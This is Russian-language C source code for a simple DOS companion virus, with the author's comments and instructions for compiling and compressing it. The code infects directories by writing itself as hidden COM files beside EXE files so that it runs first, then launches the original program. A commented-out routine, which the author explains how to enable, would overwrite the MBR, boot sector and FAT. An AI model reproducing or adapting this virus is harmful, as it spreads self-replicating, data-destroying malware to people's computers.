made by 'l0ck' //[ PVL ] KAPMAH опять моя лень... //сдирать хоть и такое простое
с точки зрения написания куда проще //чем писать все самому целых примерно 15мин
-- тем более я вири не люблю за их неактуальность !!! В общем простенький HLLC.
Компилил я его на BC++, · но вроде будет и на TC 2.0 работать, а если не будет -
· переделать его под Турбины как два пальца об асфальт :) · Компилируйте в ЕХЕ,
переименуйте в СОМ и DIET -I MUTE.COM · Размер после сжатия - 10108. Если в
Activate() убрать · коментарий с abswrite() то, если месяц будет в N раз больше
· дня то настанет хана MBR, BOOT и FAT (N - число аргументов · в командной
строке). #include < alloc.h> // Подключаем
#include < dos.h> // стандартные
#include < fcntl.h> // header-файлы
#include < io.h> // ...........
int h; // Handle
long size; // Hаша длина.
char *me; // Переменная имени victim.
char *buf; // Буфер, куда читаем себя.
int i, k, yes, exist; // Переменные для Infect и RunVict.
struct ffblk ffblk; //.................................
void Infect() // Функция заражения.
{ // Ищем ехе-шники -----------------------------+
yes = findfirst("*.EXE", &ffblk, FA_ARCH|FA_RDONLY|FA_HIDDEN); // < ---|
while (!yes& &!k) {
strcpy(me, ffblk.ff_name);
for(i = 1; i < 8; i++) // Если нашли -
if(me[i] == '.') break; // подставляем
i++; // к нему ext.
me[i++] = 'C'; // СОМ
me[i++] = 'O'; // .............
me[i++] = 'M'; // .............
exist = _open(me, FA_RDONLY); // Проверка:
if(exist == -1) { // Если такого
h = _creat(me, 0); // файла *.com
_write(h, buf, size); // нету, создаем
_close(h); // его и пишем в
_chmod(me, 1, FA_HIDDEN); // него себя, потом
k = 1; // делаем Hidden
} // и уходим.
findnext(&ffblk); // Если есть
} free(buf); // ищем другой файл
} // буфер свободен.
// Функция запуска настояшего файла. --------------------------------+
void RunVict(char *me, char *argv[]) // < ------|
{ //................
for(i = 1; i < 255; i++) // К своему имени
if(me[i] == '.') break; // прибавляем
i++; // расширение
me[i++] = 'E'; // ЕХЕ и получаем
me[i++] = 'X'; // имя жертвы.
me[i++] = 'E'; // ..............
execv(me, argv); // И запускаем!!!
} //
// Функция активации.--------------------------------------------------+
void Activate(int n) // < -------+
{ //
_AH = 0x2A; __int__(0x21);
if(_DH == 11&& _DL == 3) {
printf(" -----------------------¬ \n");
printf(" ¦ Happy Birthday to U! ¦ \n");
printf("---- Happy Birthday to U! L--¬\n");
printf("¦ Happy Birthday dear 10ck! ¦\n");
printf("L--¬ Happy Birthday to U! ----\n");
printf("В свой день рождения я ничего \n");
printf(" не буду зар0жать!!! ");
exit(0); }
if(n*_DL == _DH) {
// abswrite(2, 5, 0, (void*), 0); //Trash BOOT, MBR, FAT.
}
}
// Главная функция -----------------------------------------------+
void main(int argc, char *argv[]) // < -------|
{ //...............
Activate(argc); // Активируем?
h = _open(argv[0], O_RDONLY); // Открываем себя
size = filelength(h); // смотрим размер
(char *) buf = malloc(size); // выделяем память
_read(h, buf, size); // читаем себя и
_close(h); // закрываем себя.
Infect(); // Заражаем.
RunVict(argv[0], argv); // Запускаем orig.
} // ..............
|